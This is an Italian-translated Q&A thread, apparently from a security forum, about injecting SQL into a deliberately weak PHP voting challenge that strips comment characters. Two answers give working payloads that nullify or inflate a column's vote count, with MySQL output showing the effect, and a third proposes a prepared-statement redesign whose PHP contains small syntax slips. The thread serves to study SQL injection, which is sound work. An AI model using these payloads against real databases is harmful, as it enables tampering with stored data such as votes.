Questo codice PHP è vulnerabile all'iniezione SQL?

4

Ho dato il controllo sulla variabile $ vote (nella funzione "challenge")

C'è un modo per SQL iniettare la query? (A proposito, posso vedere / leggere qualsiasi cosa restituisca la funzione challenge, ad esempio gli errori sql. Sono riuscito a iniettare sql ma non sono riuscito a trovare un modo per annullare la parte $vote + 1 ", quindi qualsiasi cosa provi a iniettare causa un errore di sintassi.)

function evil($vote) 
{ 
    #Comments not allowed ]:-> 
    #Sorry. 
    $vote = str_replace('#', '', $vote); 
    $vote = str_replace('/', '', $vote); 
    $vote = str_replace('*', '', $vote); 
    $vote = str_replace('-', '', $vote); 
    return $vote; 
} 
function challenge($vote) 
{ 
    $vote = evil($vote); 
    $q = "UPDATE 'sqlinjection2' SET '$vote'='$vote'+1"; 
    $r = mysql_query($q); 
    if(!$r) 
        return mysql_error(); 
    return 'Thanks for vote!'; 
} 
    
posta Name 13.06.2016 - 00:31
fonte

3 risposte

4

La rimozione dei commenti aiuta contro alcune iniezioni, ma in ogni caso non tutte .

In questo caso puoi ancora azzerare qualsiasi campo impostando $vote per costruire una sequenza logica da quello che era un compito:

 variable   :          vote'=1 + 'vote
 query      : ... SET 'vote'=1 + 'vote'='vote'=1 + 'vote'+1;

Questo alternerà il voto tra 0, se è diverso da zero, e 1, se è zero.

Tuttavia, dato che puoi specificare un campo più volte nello stesso aggiornamento e tutti gli aggiornamenti verranno eseguiti, puoi anche fare:

 variable   :          vote'=1, 'vote'=X+'vote
 query      : ... SET 'vote'=1, 'vote'=X+'vote'='vote'=1, 'vote'=X+'vote'+1;

che imposta il voto su 1, quindi su 0, quindi su 0 + X + 1, qualunque sia X (eccetto X = 0 dove si imposterà il voto su 2).

    
risposta data 13.06.2016 - 01:30
fonte
0

Sì, puoi annullare il voto. La soluzione è la seguente.

La tabella del database Mysql per il voto è un'istanza come sotto.

mysql> use test;
Database changed
mysql> create table sqlinjection2 (ALICE int,BOB int);
Query OK, 0 rows affected (0.03 sec)

mysql> INSERT INTO sqlinjection2 values (0,0);
Query OK, 1 row affected (0.01 sec)

mysql> select * from sqlinjection2;
+-------+---------+
| ALICE | BOB     |
+-------+---------+
|     0 |       0 |
+-------+---------+
1 row in set (0.00 sec)

Query eseguita su un normale voto per ALICE

UPDATE 'test'.'sqlinjection2' SET 'ALICE'='ALICE'+1 

Ho provato iniezioni come ALICE XOR ALICE ma non hanno funzionato.

Quello che ha funzionato per me era al di sotto

Parametro:

 vote=ALICE'=NULL , 'ALICE'='ALICE'

SqlString eseguito:

UPDATE 'test'.'sqlinjection2' SET 'ALICE'=NULL , 'ALICE'='ALICE'='ALICE'=NULL , 'ALICE'='ALICE'+1

La tabella prima dell'iniezione

mysql> select * from sqlinjection2;
+-------+---------+
| ALICE | BOB     |
+-------+---------+
|     20|      20 |
+-------+---------+
1 row in set (0.00 sec)

Il tavolo dopo l'iniezione

 mysql> select * from sqlinjection2;
    +-------+---------+
    | ALICE | BOB     |
    +-------+---------+
    |  NULL |      20 |
    +-------+---------+
    1 row in set (0.00 sec)

Anche ALICE non vincerà nel caso normale. Poiché NULL+1 è NULL .

Aggiornamento : se vuoi che ALICE vinca, puoi inserire qualcosa come sotto il parametro

Parametro:

 vote=ALICE'=999999 , 'ALICE'='ALICE'
    
risposta data 13.06.2016 - 05:41
fonte
0

La tua intera premessa è imperfetta. Per cominciare, è un design terribile per il database.

Ecco la mia raccomandazione per la struttura della tabella:

CREATE TABLE votes (  
  id SERIAL PRIMARY KEY,
  candidate VARCHAR(20) UNIQUE NOT NULL,
  votes INT NOT NULL DEFAULT 0
);

Riempi un po ':

INSERT INTO votes (candidate, votes) VALUES ('Alice',0);
INSERT INTO votes (candidate, votes) VALUES ('Bob',0);
INSERT INTO votes (candidate, votes) VALUES ('Fred',0);
INSERT INTO votes (candidate, votes) VALUES ('Dana',0); 

Quindi abbiamo il nostro roster:

sqlinjection2=# SELECT * FROM votes;
 id | candidate | votes 
----+-----------+-------
  1 | Alice     |     0
  2 | Bob       |     0
  3 | Fred      |     0
  4 | Dana      |     0
(4 rows)

E per il tuo codice:

function vote($candidate) {
 $query='SELECT votes FROM votes WHERE candidate = ?'
 $dbh=$db->prepare($query);
 $result = $dbh->execute($candidate);
 if($result->rowcount() == 0) { /* Write-in candidate */
   $votes = 0;
   $query = 'INSERT INTO votes (votes, candidate) VALUES (?, ?)';
 } else {
   $row = $result->fetch();
   $votes = $row['votes']
   $query = 'UPDATE votes SET votes=? WHERE candidate = ?';
 }
 $dbh = $db->prepare($query);
 $votes++;
 $result = $dbh->execute($votes, $candidate);
}

(Mi scuso per la formattazione, facendo questo a mano)

Questa configurazione consente un numero arbitrario di candidati senza dover riorganizzare la tabella; inoltre evita di dover fare affidamento sui valori di input per i nomi delle colonne interamente e il codice utilizza istruzioni SQL preparate e parametrizzate.

Eccezione, la transazione e la gestione degli errori sono lasciati come esercizio per il lettore.

    
risposta data 15.07.2016 - 11:30
fonte

Leggi altre domande sui tag